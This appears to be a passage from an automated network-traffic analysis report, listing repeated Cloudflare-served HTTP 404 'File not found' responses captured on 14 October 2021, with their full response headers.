Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:21 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rzu%2FohVuhjczWDe7tSOrF0uRiMZdPJrfjpN1hISShviTn6CxquhhvYU2ZYQ2Afh3g6P1FuSAKzKR6pmpqQCL727H0cqqtCgKFYjeXiZlAHmuAv%2B5N6h1XDjgPB5X%2FZuAlzCAkAnMt54YuBWaZYpOMDRgoMijug%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0bb69254339-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:23 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PIDL4Ex4yVSKIruz6ska5ciNfQXYfiK08MG3n%2Fl5sBh3uTbHelpQ%2BjFtXJazHaCXD%2FcS9T%2FNICexg23jtCzdGJnXlzeuuDLWonv2ZPeq4lMjDt5h2txZPLlLYA9u9inYXLCUr1h1CBSjz2d%2B08xCKW78cQE3ng%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0c56e57d6d1-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:27 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7ltrm6sBYZ30PkF8Z7VQJ7TUsrGZvzAnFrCkFXlgpwUKIwSLl0AKErABPq3oLlrSThb2YL8K3CEZTNit0GLpNLsiF78D%2Bo%2FeB6vJTTi3fwh0lA8bdxzosx88%2BepGYJVN9NOxQjuwGMKesX%2FSg1REiYGp8lFNnQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0debb1b68f7-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:29 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tR8YTHsFUlHBp8jLYHNxWg6PfHZ0Q9qY6Z3f00iw%2FRPkfDCJWPs2NCsHs%2BJRNc7qtmk0cQf9cr5pQNsUFXF%2BJcUJy6DqBggagu08v%2BAxRuxiMb5hoOAO2BqKdlUHQOZJ0B4Pm%2FOMKal28DTap0fJzQTMHSpwyg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0ec5bd44401-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:31 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=L2EsWzEZJKWTDEn93sKWFLzev8Sl0yir0x01b%2BkSL3ujzOb1%2BV3ppWcxuzQdjug6QJKPfPBqA70PVP6l0gcrvl1Nke8DdVo%2BNZdDAhag%2BRgxa5KekRs3f6n4KUeQs4FC1ErSaLb8kvrBEaD%2FKEum9jCbi9W6LA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0f9584568fe-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:33 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Wa5i4pYc47XTZTSRKuePuJGDKfzroVXSpP4vHBUDcpsntok8NHAncV7jpTLBPs6CkrH8kUIW9ytBz2JwxWNyMqJw1jmWzD%2Fy1Bnna2df9JCgcS%2Fw7JdgzCjsdEOd%2BbuV0ccxxBXnyytwG6K3l%2FcIIvtKwmy4fQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1015b90702b-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:35 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=68hgMnUBuHCsDUjLDFpqWCCQ2g0nALTKRqB%2BkiRtXAxjxPALNlT80KDT0GEMZAtpHUyMeDuNH4MC3L2MUas1uw3Tkjx5nm6dtpUi4kAfnIyf5i1cJw47x%2BYEBToHMbM6J5K1gQPhnXfkSWBbeb76%2Bs%2F4PqZQXA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec10f6862646d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:37 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YUMi%2BKCQiebAYfk%2BBHidFFMjdX1L%2B1Iti6n0n9f53wMYFdVumBnToBBg78Fzogxr7V3VykOGcApOxm9l1ZNdwS3q1NBnlV56c4eet1gWdXUfPWzTFfWnX4HH4BnbmoIGtizbJCTdvwv6CXf3B0vdLyoWMpNG7g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec11a19e04a7f-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:38 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R6o5MMg7SbvUqktXOhLjA1Fnbswl29jahtPLPtZB%2F4x11eIb1xozO%2BsAnzF9weZv0qW6u4hDKdl%2FulXZxPK440HB6R9%2BHt10S57wJou4G%2B1ynyQn8M318af4%2FOta46SlgLFPdMQ9Fk1N%2Bbz9IjlO9LnEHUhfxw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1216ed06927-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:39 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hGTok4Pwn41ZRv1MumUHtTCRvKskuQeV7Tzz2LKP7TXQ%2BjHQX%2Bdc7hCUk0B93YW6i4W3l25Za7zFA9%2BUgikpTke7QSUXWzExiifQ89U8wsISzKRfHFHuLqm%2BOsRCRCWUlSjMQHz33ABcV%2F%2BHbvOmCP2te4WgCQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1291bfb6943-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:40 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1W6FUoErQkVxlBPw7%2BXATW83hqhBSlVS6%2FhzlhKejgcPspDjQWYsm3X5UX3pJCE9Ts7B%2BzefPUHY%2BB%2BB8iI5yQqS8bnXyeWA6pA0FPv3X6QGWOzitWjJfeequ1dvbp%2FoQG57ZdzOBYGjNXOLdmI%2FpOQ67mjazg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1317c562c32-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:41 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GO6eCdCM4%2F6hA7dtd%2FoaiUrVjzpTaEYd0xVhp5YRWC%2BcFYd%2B827KZzyPcBHQZIMwEPE1lsx4Y%2FXrxohcjCmA2j%2FkkXNqUbdwkLVmbF7cdjV7n1NxRpQeMBRyy%2FLA0LTuL7Nvjpyb%2Buz9nG1ScVdle1E27JKKHw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec138b9821456-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:43 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CxsCHuzow%2F33c%2FCkji95GCcFRRddEjpXSTQlsgwfn1tNfjUG93xxIl1QFhyVjuOCfzG3xO4Dx0oqdciEFdAMIjFtDzSwsy%2BZAnBFJ%2BUIcvKJcPAL57TCTabS1rK7mISZlPofKYNa1NQhc21szCDAJAXGAw7LbA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec14189124e0d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:44 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MFrv0XyktSeHA%2B%2FfE1zcEPcFFNmyDk1d8pBeW%2BPZ0DJJyDKM24IqF9Ua%2FLPJGa2QUt1%2F9p1PJhMy%2FqaXGD1%2FbCm79J0uGI0QAXTq9IQa9oVo94V3focmH3c91ymeJg1qFR1TPjejGWcfhJ7eFrLUoAL7XbrPtQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec148ba214e14-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:45 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RW1TGqFwuxrswdzsjqOAixFxJjq9GdKUdYo7aOj19dNBG4Lyyy7SsCmQykgjcONrTmazNouCKp2Z9hD9oj9zcv4osPlARNNPDj7pHenc2sXbowSWmyPcUlYaDlCHIFiv0mk3hl9DBkS9teWGWpN7dgSnssg4aw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1510989d70d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:47 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tSBa4s2D4P4jpBx6UmblYjjTd9CZpovgF%2BPWqgNr38olq5O0aV%2BRwk6guUtz2KJcSkWnxUnrdqNk5vMbb8hVzaTtDOCB%2BcJpa1cxebjsNw2fxMN7oJxmUx78qf%2BG%2FL3VMFTIyyLXSMoDYeD9fnUR9J7qMZA67A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1584bd8d729-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:48 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9ZdGBK3Ox1p3BP97R4wYPo9%2BZ%2BK%2BUNVgFS7K2qZhwn3i65B5C5A3pC3HLkVBNXtwYCFsRF61IdHwby7cVDx52m03DlTnECOLo8Lmli9FT05kblnLTrBBndQTbweHp3wkkwehoYbNghK3zTDnn9Dwh%2FhMcQro9g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec15f58a805f1-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:49 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VWWcbe3rqobGQ9zLXDZxDyBG75FOgSItYobuAtwDJpuAbL30zBatxbptze92UIC6gFoHQbenK4p440cH1CZduHVw9uJaoknjqoprxaW930U5gFR4LDNYtmvuhdpe4PmdBZYp9RJ3m58CjMFtKREDlk3%2FI4VSUQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1674b4c2c3e-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:51 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BsMAOCkH1sJ0oabis0Q4paNtyJNrES9QQwxvqkXvAl%2FY7%2BLQH8xSnKIcHV%2BPPogWaqk3yG%2FJ6vxc%2FEk34SqAVeWUDw7vDSJQdrJh0Hz27m7Tiv3u6y6ahjT5NNVAW4JRx6Ib5AME7x%2F0Mc2jzF8N3OMd71mu%2FA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1774cc64e3d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:55 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LZ79cKido18sGHwuiNL%2F6O3gjFK34JZEyXZk1N8Qfy7pzHQIXqqquQIRfLJylWp%2Blb0ebXTVq%2F1bHmKtkJSRQAwrjU9cWyaKEY%2BfKI4BTUk6fnLRAUL796Gtr9VyUOxCK%2BmAyJmCSy2lit2HcTF7NC6%2BtJ15NA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1900cfd68ef-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:57 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MLALdhBf343n2G8LZLoDwb6Mh5vWVGbC472SfDfdBH%2B1zblvJJUUdQJELnMb%2Bod0RSTtp3nexN46I4MemNvht6DC79ZyaLJ9Tj8z0PlQvLxyWkeCuuJUc6JQy22HYxAbvcclmEPUk4DRcOjj7k3c%2FCX8oeDUlg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1971aee4dbe-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:58 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pVTqfGYZG6lbiEUhHSdVmZCauemUr0Y%2BDwMOl8jQ0ldqgtA9xITilJs5vYZLZNEyT9OJN5kbjp%2BHOE4k2qqoAIe1jVhjQmKAUvsYFRYqMSmsNtQoFZ6LNXkpPSpmxGfDzqZFj4XqecgblbCCY5cS5zLZfkAuhA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec19dfc3bdfcb-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:59 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gkjqA8qOHfmIDF%2B8y6qiYNfi%2BvKCn%2B9wfdd4HCP%2BYK0cnk28ajujXQRfcV4yPhPUB7cMD%2BZEx7KfsoCvsEDx9F1mGzxm8QL25QRC9D1NyirQW8VbFsNKnqSicUuJ0ck1LD6iO4oBLd%2BuJGOeJcZ4Ij1Vwl5I4w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1a53d361f21-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:00 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iotQdWvLirTujDm5gcFSZO5hAVcZRC711g1iSDRI0%2Brb3822z%2BZAkRmuSDHdic5Uj57iNRI9xX3TN9YhS73pU0g3Awy8opYScVWOMDtQ3fUBF1pTWEZk13UdVN58f%2F5cQx2fm8PSSX%2BiO3wOmcduLTFZflpDzA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1abfe1005b3-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:01 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CiMowfP3p1ILABVXu8os0ZvSOz0H05YMNivh25CZUCDEqQaAY7dMsK8WCuL55RhExNK%2Bo6QnXW2OoiY91LV4aaKszjnsVP1HpaPN5F1rSwA%2BPDZXqH2LcFbJP9o0ixVca8u%2FnOqGjaVHkzJnEmiYU0ivx8ExBw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1b2eb3f1f2d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:02 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ga%2FiBjWS7EnclaPLKo1yPnxw%2BS5FfTFKHZyEfv8SBx7PLc2z9qVP39s4Ou2jxC%2Fu692YAeRobnrXUUs%2FH5lz44oFoe0MdOk11UK7d0oa85kJs8BzBG9Wn1TN%2BaAxNOIaqjCVMknge%2BA0NpNTHFqXMCVwFECLVA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1b9fcbb4a6d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:03 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lYEXv8S4QiPBTpXu0rf5bJXcJoQvbh8c7zrS9vvc7tBBFtqt%2FvJ59pUThsIsz8qJpgBGda1LHR3Qb02pkkKRC8u7P6%2BBRoVadCg8Od0Z6UP29X6bSAT1Hn6xm8BlysHdhvQ59Xz1U2tY28nHS%2BqgJgDxQY4HdA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1c14c3ad6f5-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:04 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yauK70pfnNL%2FJ90goDaRLF0fpdY6QkzTDmTkMnqaOy%2Bzsu%2BpC4W1kWkeLla6LwdlVBR9OMv4e4x9fXwxwON1%2FUNUz5VC3UtbTzqe0Ta8KCEmGddTn%2FYX5GbiYSC%2B8T4y3Jh3h%2FGtVWT8LEgia0f88sVfgxwueQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1c88f4e3258-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
